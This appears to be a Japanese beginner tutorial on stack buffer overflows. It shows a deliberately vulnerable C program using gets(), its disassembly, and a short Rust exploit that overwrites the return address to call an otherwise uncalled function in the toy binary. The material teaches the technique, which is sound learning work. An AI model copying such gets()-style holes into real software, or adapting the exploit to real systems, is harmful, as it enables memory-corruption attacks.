スタックバッファオーバーフローによるリターンアドレスの書き換え
対象読者
基本的なx64アセンブリがわかる。
Cが書ける。
想定環境
x64GNU/Linux
序
下記のC99コードを見てください。
#include <stdio.h>
int secret(void) {
printf("secret\n");
return 0;
}
int func(void) {
char name[5];
gets(name);
printf("%s\n", name);
return 0;
}
int main(void) {
func();
return 0;
}
上記のコードには脆弱性があります。
本来の処理では、secret関数は呼び出されませんが、今回はgets関数の脆弱性を利用して
secret関数を呼び出してみたいと思います。
ビルド
まずビルドしましょう。コンパイラにはgccを使用します。
gcc -std=c99 -no-pie -o target target.c
gets関数は脆弱なので、c11から削除されています。そのため規格をc99に指定しています。
-no-pieはPIE無効でコンパイルしています。
ビルドするとwarningが出ますが、無視してください。
このプログラムはユーザに名前の入力を求め、受け取った名前を表示しています。
解析
では、解析をしてみましょう。
まずsecret関数のアドレスを調べます。
調べる方法はいくつかありますが、今回はobjdumpコマンドを使用します。
objdump -M x86-64 -M intel -d target
上記コマンドにより、命令を含むと予想されるセクションの内容を逆アセンブルします。
出力からsecret関数のアドレスを確認すると0x401132だということがわかります。
次にgets関数が呼び出されているのはfunc関数なのでfuncの逆アセンブル結果を見てみましょう。
401149: 1 push rbp
40114a: 2 mov rbp,rsp
40114d: 3 sub rsp,0x10
401151: 4 lea rax,[rbp-0x5]
401155: 5 mov rdi,rax
401158: 6 call 401040 <gets@plt>
40115d: 7 lea rax,[rbp-0x5]
401161: 8 mov rdi,rax
401164: 9 call 401030 <puts@plt>
401169: 10 mov eax,0x0
40116e: 11 leave
40116f: 12 ret
push rbp (1行目) 実行後のスタックの様子
mov rbp,rsp (2行目) 実行後のスタックの様子
sub rsp,0x10 (3行目) 実行後のスタックの様子
lea rax,[rbp-0x5] (4行目) 実行後のスタックの様子
5行目ではgetsの第一引数(rdi)に配列nameのアドレスを渡しています。
mov rdi,rax (5行目) 実行後のスタックの様子
6行目はgets関数をcallしています。そしてgets関数の処理で、rdiから図でいう下の方向に向かって値を書き込んでいくわけです。
このとき6バイト以上の値を書き込むとバッファーオーバーフローが発生します。
これでリターンアドレスに任意の値を書き込むことができてしまいますね。
攻撃コード
では攻撃のコードを書いてみましょう。普通ならPythonで書くと思いますが筆者の趣味でRustで書きたいと思います。
use std::io::Write;
fn main() {
let mut output: Vec<u8> = vec![b'a'; 13];
let tmp: [u8; 8] = 0x401132u64.to_le_bytes();
output.extend_from_slice(&tmp);
std::io::stdout().write_all(&output).unwrap();
}
コードをビルドします。
rustc exploit.rs
実行してみましょう。
./exploit | ./target
無事secret関数が実行され、secretと表示されました!!!!
Discussion